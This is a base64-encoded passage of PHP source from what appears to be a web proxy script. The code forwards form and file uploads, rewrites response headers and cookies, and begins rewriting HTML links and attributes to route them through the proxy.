ICAgICAgICAkX3Bvc3RfYm9keSAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPVwiJGtleVwiXHJcblxyXG4iOw0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49IHVybGRlY29kZSgkdmFsdWUpIC4gIlxyXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkYXJyYXkgPSBzZXRfcG9zdF9maWxlcygkX0ZJTEVTKTsNCiAgICANCiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAka2V5ID0+ICRmaWxlX2luZm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIi0teyRfZGF0YV9ib3VuZGFyeX1cclxuIjsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPVwiJGtleVwiOyBmaWxlbmFtZT1cInskZmlsZV9pbmZvWyduYW1lJ119XCJcclxuIjsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAnQ29udGVudC1UeXBlOiAnIC4gKGVtcHR5KCRmaWxlX2luZm9bJ3R5cGUnXSkgPyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyA6ICRmaWxlX2luZm9bJ3R5cGUnXSkgLiAiXHJcblxyXG4iOw0KICAgIA0KICAgICAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZmlsZV9pbmZvWyd0bXBfbmFtZSddKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigkZmlsZV9pbmZvWyd0bXBfbmFtZSddLCAncmInKTsNCiAgICAgICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gZnJlYWQoJGhhbmRsZSwgZmlsZXNpemUoJGZpbGVfaW5mb1sndG1wX25hbWUnXSkpOw0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49ICJcclxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJF9wb3N0X2JvZHkgICAgICAgLj0gIi0teyRfZGF0YV9ib3VuZGFyeX0tLVxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L2Zvcm0tZGF0YTsgYm91bmRhcnk9eyRfZGF0YV9ib3VuZGFyeX1cclxuIjsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LUxlbmd0aDogIiAuIHN0cmxlbigkX3Bvc3RfYm9keSkgLiAiXHJcblxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJF9wb3N0X2JvZHk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkYXJyYXkgPSBzZXRfcG9zdF92YXJzKCRfUE9TVCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAka2V5ID0+ICR2YWx1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAhZW1wdHkoJF9wb3N0X2JvZHkpID8gJyYnIDogJyc7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gJGtleSAuICc9JyAuICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkNvbnRlbnQtTGVuZ3RoOiAiIC4gc3RybGVuKCRfcG9zdF9ib2R5KSAuICJcclxuXHJcbiI7DQogICAgICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAkX3Bvc3RfYm9keTsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJcclxuIjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJF9wb3N0X2JvZHkgPSAnJzsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIlxyXG4iOw0KICAgIH0NCg0KICAgIGZ3cml0ZSgkX3NvY2tldCwgJF9yZXF1ZXN0X2hlYWRlcnMpOw0KICAgIA0KICAgIC8vDQogICAgLy8gUFJPQ0VTUyBSRVNQT05TRSBIRUFERVJTDQogICAgLy8NCiAgICANCiAgICAkX3Jlc3BvbnNlX2hlYWRlcnMgPSAkX3Jlc3BvbnNlX2tleXMgPSBhcnJheSgpOw0KICAgIA0KICAgICRsaW5lID0gZmdldHMoJF9zb2NrZXQsIDgxOTIpOw0KICAgIA0KICAgIHdoaWxlIChzdHJzcG4oJGxpbmUsICJcclxuIikgIT09IHN0cmxlbigkbGluZSkpDQogICAgew0KICAgICAgICBAbGlzdCgkbmFtZSwgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7DQogICAgICAgICRuYW1lID0gdHJpbSgkbmFtZSk7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1tzdHJ0b2xvd2VyKCRuYW1lKV1bXSA9IHRyaW0oJHZhbHVlKTsNCiAgICAgICAgJF9yZXNwb25zZV9rZXlzW3N0cnRvbG93ZXIoJG5hbWUpXSA9ICRuYW1lOw0KICAgICAgICAkbGluZSA9IGZnZXRzKCRfc29ja2V0LCA4MTkyKTsNCiAgICB9DQogICAgDQogICAgc3NjYW5mKGN1cnJlbnQoJF9yZXNwb25zZV9rZXlzKSwgJyVzICVzJywgJF9odHRwX3ZlcnNpb24sICRfcmVzcG9uc2VfY29kZSk7DQogICAgDQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC10eXBlJ10pKQ0KICAgIHsNCiAgICAgICAgbGlzdCgkX2NvbnRlbnRfdHlwZSwgKSA9IGV4cGxvZGUoJzsnLCBzdHJfcmVwbGFjZSgnICcsICcnLCBzdHJ0b2xvd2VyKCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKSwgMik7DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ10pKQ0KICAgIHsNCiAgICAgICAgJF9jb250ZW50X2xlbmd0aCA9ICRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sZW5ndGgnXVswXTsNCiAgICAgICAgdW5zZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxlbmd0aCddLCAkX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtbGVuZ3RoJ10pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ10pKQ0KICAgIHsNCiAgICAgICAgJF9jb250ZW50X2Rpc3AgPSAkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXVswXTsNCiAgICAgICAgdW5zZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ10sICRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1kaXNwb3NpdGlvbiddKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddKSAmJiAkX2ZsYWdzWydhY2NlcHRfY29va2llcyddKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJF9yZXNwb25zZV9oZWFkZXJzWydzZXQtY29va2llJ10gYXMgJGNvb2tpZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJG5hbWUgPSAkdmFsdWUgPSAkZXhwaXJlcyA9ICRwYXRoID0gJGRvbWFpbiA9ICRzZWN1cmUgPSAkZXhwaXJlc190aW1lID0gJyc7DQoNCiAgICAgICAgICAgIHByZWdfbWF0Y2goJyNeXHMqKFtePTssXHNdKilccyo9P1xzKihbXjtdKikjJywgICRjb29raWUsICRtYXRjaCkgJiYgbGlzdCgsICRuYW1lLCAkdmFsdWUpID0gJG1hdGNoOw0KICAgICAgICAgICAgcHJlZ19tYXRjaCgnIztccypleHBpcmVzXHMqPVxzKihbXjtdKikjaScsICAgICAgJGNvb2tpZSwgJG1hdGNoKSAmJiBsaXN0KCwgJGV4cGlyZXMpICAgICAgPSAkbWF0Y2g7DQogICAgICAgICAgICBwcmVnX21hdGNoKCcjO1xzKnBhdGhccyo9XHMqKFteOyxcc10qKSNpJywgICAgICAkY29va2llLCAkbWF0Y2gpICYmIGxpc3QoLCAkcGF0aCkgICAgICAgICA9ICRtYXRjaDsNCiAgICAgICAgICAgIHByZWdfbWF0Y2goJyM7XHMqZG9tYWluXHMqPVxzKihbXjssXHNdKikjaScsICAgICRjb29raWUsICRtYXRjaCkgJiYgbGlzdCgsICRkb21haW4pICAgICAgID0gJG1hdGNoOw0KICAgICAgICAgICAgcHJlZ19tYXRjaCgnIztccyooc2VjdXJlXGIpI2knLCAgICAgICAgICAgICAgICAgJGNvb2tpZSwgJG1hdGNoKSAmJiBsaXN0KCwgJHNlY3VyZSkgICAgICAgPSAkbWF0Y2g7DQogICAgDQogICAgICAgICAgICAkZXhwaXJlc190aW1lID0gZW1wdHkoJGV4cGlyZXMpID8gMCA6IGludHZhbChAc3RydG90aW1lKCRleHBpcmVzKSk7DQogICAgICAgICAgICAkZXhwaXJlcyA9ICgkX2ZsYWdzWydzZXNzaW9uX2Nvb2tpZXMnXSAmJiAhZW1wdHkoJGV4cGlyZXMpICYmIHRpbWUoKS0kZXhwaXJlc190aW1lIDwgMCkgPyAnJyA6ICRleHBpcmVzOw0KICAgICAgICAgICAgJHBhdGggICAgPSBlbXB0eSgkcGF0aCkgICA/ICcvJyA6ICRwYXRoOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGVtcHR5KCRkb21haW4pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkb21haW4gPSAkX3VybF9wYXJ0c1snaG9zdCddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkb21haW4gPSAnLicgLiBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCcuLicsICcuJywgdHJpbSgkZG9tYWluLCAnLicpKSk7DQogICAgDQogICAgICAgICAgICAgICAgaWYgKCghcHJlZ19tYXRjaCgnI1xRJyAuICRkb21haW4gLiAnXEUkI2knLCAkX3VybF9wYXJ0c1snaG9zdCddKSAmJiAkZG9tYWluICE9ICcuJyAuICRfdXJsX3BhcnRzWydob3N0J10pIHx8IChzdWJzdHJfY291bnQoJGRvbWFpbiwgJy4nKSA8IDIgJiYgJGRvbWFpbnswfSA9PSAnLicpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGNvdW50KCRfQ09PS0lFKSA+PSAxNSAmJiB0aW1lKCktJGV4cGlyZXNfdGltZSA8PSAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfc2V0X2Nvb2tpZVtdID0gYWRkX2Nvb2tpZShjdXJyZW50KCRfQ09PS0lFKSwgJycsIDEpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkX3NldF9jb29raWVbXSA9IGFkZF9jb29raWUoIkNPT0tJRTskbmFtZTskcGF0aDskZG9tYWluIiwgIiR2YWx1ZTskc2VjdXJlIiwgJGV4cGlyZXNfdGltZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddKSkNCiAgICB7DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddLCAkX3Jlc3BvbnNlX2tleXNbJ3NldC1jb29raWUnXSk7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9zZXRfY29va2llKSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2Vfa2V5c1snc2V0LWNvb2tpZSddID0gJ1NldC1Db29raWUnOw0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3NldC1jb29raWUnXSA9ICRfc2V0X2Nvb2tpZTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ10pICYmIHByZWdfbWF0Y2goJyNwb2xpY3lyZWZccyo9XHMqW1wnIl0/KFteXCciXHNdKilbXCciXT8jaScsICRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0sICRtYXRjaGVzKSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJ3BvbGljeXJlZj0iJyAuIGNvbXBsZXRlX3VybCgkbWF0Y2hlc1sxXSkgLiAnIicsICRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydyZWZyZXNoJ10pICYmIHByZWdfbWF0Y2goJyMoWzAtOVxzXSo7XHMqVVJMXHMqPSlccyooXFMqKSNpJywgJF9yZXNwb25zZV9oZWFkZXJzWydyZWZyZXNoJ11bMF0sICRtYXRjaGVzKSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1sncmVmcmVzaCddWzBdID0gJG1hdGNoZXNbMV0gLiBjb21wbGV0ZV91cmwoJG1hdGNoZXNbMl0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydsb2NhdGlvbiddKSkNCiAgICB7ICAgDQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1snbG9jYXRpb24nXVswXSA9IGNvbXBsZXRlX3VybCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2xvY2F0aW9uJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWyd1cmknXSkpDQogICAgeyAgIA0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3VyaSddWzBdID0gY29tcGxldGVfdXJsKCRfcmVzcG9uc2VfaGVhZGVyc1sndXJpJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ10pKQ0KICAgIHsgICANCiAgICAgICAgJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ11bMF0gPSBjb21wbGV0ZV91cmwoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb25uZWN0aW9uJ10pKQ0KICAgIHsNCiAgICAgICAgdW5zZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb25uZWN0aW9uJ10sICRfcmVzcG9uc2Vfa2V5c1snY29ubmVjdGlvbiddKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sna2VlcC1hbGl2ZSddKSkNCiAgICB7DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sna2VlcC1hbGl2ZSddLCAkX3Jlc3BvbnNlX2tleXNbJ2tlZXAtYWxpdmUnXSk7DQogICAgfQ0KICAgIGlmICgkX3Jlc3BvbnNlX2NvZGUgPT0gNDAxICYmIGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snd3d3LWF1dGhlbnRpY2F0ZSddKSAmJiBwcmVnX21hdGNoKCcjYmFzaWNccysoPzpyZWFsbT0iKC4qPykiKT8jaScsICRfcmVzcG9uc2VfaGVhZGVyc1snd3d3LWF1dGhlbnRpY2F0ZSddWzBdLCAkbWF0Y2hlcykpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9hdXRoX2NyZWRzWyRtYXRjaGVzWzFdXSkgJiYgISRfcXVpdCkNCiAgICAgICAgew0KICAgICAgICAgICAgJF9iYXNpY19hdXRoX3JlYWxtICA9ICRtYXRjaGVzWzFdOw0KICAgICAgICAgICAgJF9iYXNpY19hdXRoX2hlYWRlciA9ICcnOw0KICAgICAgICAgICAgJF9yZXRyeSA9ICRfcXVpdCA9IHRydWU7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2F1dGgnLCAncmVhbG0nID0+ICRtYXRjaGVzWzFdKSk7DQogICAgICAgIH0NCiAgICB9DQp9DQp3aGlsZSAoJF9yZXRyeSk7DQoNCi8vDQovLyBPVVRQVVQgUkVTUE9OU0UgSUYgTk8gUFJPWElGSUNBVElPTiBJUyBORUVERUQNCi8vICANCg0KaWYgKCFpc3NldCgkX3Byb3hpZnlbJF9jb250ZW50X3R5cGVdKSkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICANCiAgICAkX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXSA9ICdDb250ZW50LURpc3Bvc2l0aW9uJzsNCiAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXVswXSA9IGVtcHR5KCRfY29udGVudF9kaXNwKSA/ICgkX2NvbnRlbnRfdHlwZSA9PSAnYXBwbGljYXRpb24vb2N0ZXRfc3RyZWFtJyA/ICdhdHRhY2htZW50JyA6ICdpbmxpbmUnKSAuICc7IGZpbGVuYW1lPSInIC4gJF91cmxfcGFydHNbJ2ZpbGUnXSAuICciJyA6ICRfY29udGVudF9kaXNwOw0KICAgIA0KICAgIGlmICgkX2NvbnRlbnRfbGVuZ3RoICE9PSBmYWxzZSkNCiAgICB7DQogICAgICAgIGlmICgkX2NvbmZpZ1snbWF4X2ZpbGVfc2l6ZSddICE9IC0xICYmICRfY29udGVudF9sZW5ndGggPiAkX2NvbmZpZ1snbWF4X2ZpbGVfc2l6ZSddKQ0KICAgICAgICB7DQogICAgICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAncmVzb3VyY2UnLCAndHlwZScgPT4gJ2ZpbGVfc2l6ZScpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJF9yZXNwb25zZV9rZXlzWydjb250ZW50LWxlbmd0aCddID0gJ0NvbnRlbnQtTGVuZ3RoJzsNCiAgICAgICAgJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdID0gJF9jb250ZW50X2xlbmd0aDsNCiAgICB9DQogICAgDQogICAgJF9yZXNwb25zZV9oZWFkZXJzICAgPSBhcnJheV9maWx0ZXIoJF9yZXNwb25zZV9oZWFkZXJzKTsNCiAgICAkX3Jlc3BvbnNlX2tleXMgICAgICA9IGFycmF5X2ZpbHRlcigkX3Jlc3BvbnNlX2tleXMpOw0KICAgIA0KICAgIGhlYWRlcihhcnJheV9zaGlmdCgkX3Jlc3BvbnNlX2tleXMpKTsNCiAgICBhcnJheV9zaGlmdCgkX3Jlc3BvbnNlX2hlYWRlcnMpOw0KICAgIA0KICAgIGZvcmVhY2ggKCRfcmVzcG9uc2VfaGVhZGVycyBhcyAkbmFtZSA9PiAkYXJyYXkpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJHZhbHVlKQ0KICAgICAgICB7DQogICAgICAgICAgICBoZWFkZXIoJF9yZXNwb25zZV9rZXlzWyRuYW1lXSAuICc6ICcgLiAkdmFsdWUsIGZhbHNlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAgICAgDQogICAgZG8NCiAgICB7DQogICAgICAgICRkYXRhID0gZnJlYWQoJF9zb2NrZXQsIDgxOTIpOw0KICAgICAgICBlY2hvICRkYXRhOw0KICAgIH0NCiAgICB3aGlsZSAoaXNzZXQoJGRhdGF7MH0pKTsNCiAgICAgICAgDQogICAgZmNsb3NlKCRfc29ja2V0KTsNCiAgICBleGl0KDApOw0KfQ0KDQpkbw0Kew0KICAgICRkYXRhID0gQGZyZWFkKCRfc29ja2V0LCA4MTkyKTsgLy8gc2lsZW5jZWQgdG8gYXZvaWQgdGhlICJub3JtYWwiIHdhcm5pbmcgYnkgYSBmYXVsdHkgU1NMIGNvbm5lY3Rpb24NCiAgICAkX3Jlc3BvbnNlX2JvZHkgLj0gJGRhdGE7DQp9ICAgDQp3aGlsZSAoaXNzZXQoJGRhdGF7MH0pKTsNCiAgIA0KdW5zZXQoJGRhdGEpOw0KZmNsb3NlKCRfc29ja2V0KTsNCg0KLy8NCi8vIE1PRElGWSBBTkQgRFVNUCBSRVNPVVJDRQ0KLy8NCg0KaWYgKCRfY29udGVudF90eXBlID09ICd0ZXh0L2NzcycpDQp7DQogICAgJF9yZXNwb25zZV9ib2R5ID0gcHJveGlmeV9jc3MoJF9yZXNwb25zZV9ib2R5KTsNCn0NCmVsc2UNCnsNCiAgICBpZiAoJF9mbGFnc1snc3RyaXBfdGl0bGUnXSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnIyg8XHMqdGl0bGVbXj5dKj4pKC4qPykoPFxzKi90aXRsZVtePl0qPikjaXMnLCAnJDEkMycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgfQ0KICAgIGlmICgkX2ZsYWdzWydyZW1vdmVfc2NyaXB0cyddKQ0KICAgIHsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gcHJlZ19yZXBsYWNlKCcjPFxzKnNjcmlwdFtePl0qPz4uKj88XHMqL1xzKnNjcmlwdFxzKj4jc2knLCAnJywgJF9yZXNwb25zZV9ib2R5KTsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gcHJlZ19yZXBsYWNlKCIjKFxib25bYS16XSspXHMqPVxzKig/OlwiKFteXCJdKilcIj98JyhbXiddKiknP3woW14nXCJccz5dKikpPyNpIiwgJycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnIzxub3NjcmlwdD4oLio/KTwvbm9zY3JpcHQ+I3NpJywgIiQxIiwgJF9yZXNwb25zZV9ib2R5KTsNCiAgICB9DQogICAgaWYgKCEkX2ZsYWdzWydzaG93X2ltYWdlcyddKQ0KICAgIHsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gcHJlZ19yZXBsYWNlKCcjPChpbWd8aW1hZ2UpW14+XSo/PiNzaScsICcnLCAkX3Jlc3BvbnNlX2JvZHkpOw0KICAgIH0NCiAgICANCiAgICAvLw0KICAgIC8vIFBST1hJRlkgSFRNTCBSRVNPVVJDRQ0KICAgIC8vDQogICAgDQogICAgJHRhZ3MgPSBhcnJheQ0KICAgICgNCiAgICAgICAgJ2EnICAgICAgICAgID0+IGFycmF5KCdocmVmJyksDQogICAgICAgICdpbWcnICAgICAgICA9PiBhcnJheSgnc3JjJywgJ2xvbmdkZXNjJyksDQogICAgICAgICdpbWFnZScgICAgICA9PiBhcnJheSgnc3JjJywgJ2xvbmdkZXNjJyksDQogICAgICAgICdib2R5JyAgICAgICA9PiBhcnJheSgnYmFja2dyb3VuZCcpLA0KICAgICAgICAnYmFzZScgICAgICAgPT4gYXJyYXkoJ2hyZWYnKSwNCiAgICAgICAgJ2ZyYW1lJyAgICAgID0+IGFycmF5KCdzcmMnLCAnbG9uZ2Rlc2MnKSwNCiAgICAgICAgJ2lmcmFtZScgICAgID0+IGFycmF5KCdzcmMnLCAnbG9uZ2Rlc2MnKSwNCiAgICAgICAgJ2hlYWQnICAgICAgID0+IGFycmF5KCdwcm9maWxlJyksDQogICAgICAgICdsYXllcicgICAgICA9PiBhcnJheSgnc3JjJyksDQogICAgICAgICdpbnB1dCcgICAgICA9PiBhcnJheSgnc3JjJywgJ3VzZW1hcCcpLA0KICAgICAgICAnZm9ybScgICAgICAgPT4gYXJyYXkoJ2FjdGlvbicpLA0KICAgICAgICAnYXJlYScgICAgICAgPT4gYXJyYXkoJ2hyZWYnKSwNCiAgICAgICAgJ2xpbmsnICAgICAgID0+IGFycmF5KCdocmVmJywgJ3NyYycsICd1cm4nKSwNCiAgICAgICAgJ21ldGEnICAgICAgID0+IGFycmF5KCdjb250ZW50JyksDQogICAgICAgICdwYXJhbScgICAgICA9PiBhcnJheSgndmFsdWUnKSwNCiAgICAgICAgJ2FwcGxldCcgICAgID0+IGFycmF5KCdjb2RlYmFzZScsICdjb2RlJywgJ29iamVjdCcsICdhcmNoaXZlJyksDQogICAgICAgICdvYmplY3QnICAgICA9PiBhcnJheSgndXNlcm1hcCcsICdjb2RlYmFzZScsICdjbGFzc2lkJywgJ2FyY2hpdmUnLCAnZGF0YScpLA0KICAgICAgICAnc2NyaXB0JyAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnc2VsZWN0JyAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnaHInICAgICAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAndGFibGUnICAgICAgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwNCiAgICAgICAgJ3RyJyAgICAgICAgID0+IGFycmF5KCdiYWNrZ3JvdW5kJyksDQogICAgICAgICd0aCcgICAgICAgICA9PiBhcnJheSgnYmFja2dyb3VuZCcpLA0KICAgICAgICAndGQnICAgICAgICAgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwNCiAgICAgICAgJ2Jnc291bmQnICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ2Jsb2NrcXVvdGUnID0+IGFycmF5KCdjaXRlJyksDQogICAgICAgICdkZWwnICAgICAgICA9PiBhcnJheSgnY2l0ZScpLA0KICAgICAgICAnZW1iZWQnICAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnZmlnJyAgICAgICAgPT4gYXJyYXkoJ3NyYycsICdpbWFnZW1hcCcpLA0KICAgICAgICAnaWxheWVyJyAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnaW5zJyAgICAgICAgPT4gYXJyYXkoJ2NpdGUnKSwNCiAgICAgICAgJ25vdGUnICAgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ292ZXJsYXknICAgID0+IGFycmF5KCdzcmMnLCAnaW1hZ2VtYXAnKSwNCiAgICAgICAgJ3EnICAgICAgICAgID0+IGFycmF5KCdjaXRlJyksDQogICAgICAgICd1bCcgICAgICAgICA9PiBhcnJheSgnc3JjJykNCiAgICApOw0KDQogICAgcHJlZ19tYXRjaF9hbGwoJyMoPFxzKnN0eWxlW14+XSo+KSguKj8pKDxccyovXHMqc3R5bGVbXj5dKj4pI2lzJywgJF9yZXNwb25zZV9ib2R5LCAkbWF0Y2hlcywgUFJFR19TRVRfT1JERVIpOw0KDQogICAgZm9yICgkaSA9IDAsICRjb3VudF9pID0gY291bnQoJG1hdGNoZXMpOyAkaSA8ICRjb3VudF9pOyArKyRpKQ0KICAgIHsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbJGldWzBdLCAkbWF0Y2hlc1skaV1bMV0uIHByb3hpZnlfY3NzKCRtYXRjaGVzWyRpXVsyXSkgLiRtYXRjaGVzWyRpXVszXSwgJF9yZXNwb25zZV9ib2R5KTsNCiAgICB9DQoNCiAgICBwcmVnX21hdGNoX2FsbCgiIzxccyooW2EtekEtWlw/LV0rKShbXj5dKyk+I1MiLCAkX3Jlc3BvbnNlX2JvZHksICRtYXRjaGVzKTsNCg0KICAgIGZvciAoJGkgPSAwLCAkY291bnRfaSA9IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkgPCAkY291bnRfaTsgKyskaSkNCiAgICB7DQogICAgICAgIGlmICghcHJlZ19tYXRjaF9hbGwoIiMoW2EtekEtWlwtXC9dKylccyooPzo9XHMqKD86XCIoW15cIj5dKilcIj98JyhbXic+XSopJz98KFteJ1wiXHNdKikpKT8jUyIsICRtYXRjaGVzWzJdWyRpXSwgJG0sIFBSRUdfU0VUX09SREVSKSkNCiAgICAgICAgew0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRyZWJ1aWxkICAgID0gZmFsc2U7DQogICAgICAgICRleHRyYV9odG1sID0gJHRlbXAgPSAnJzsNCiAgICAgICAgJGF0dHJzICAgICAgPSBhcnJheSgpOw0KDQogICAgICAgIGZvciAoJGogPSAwLCA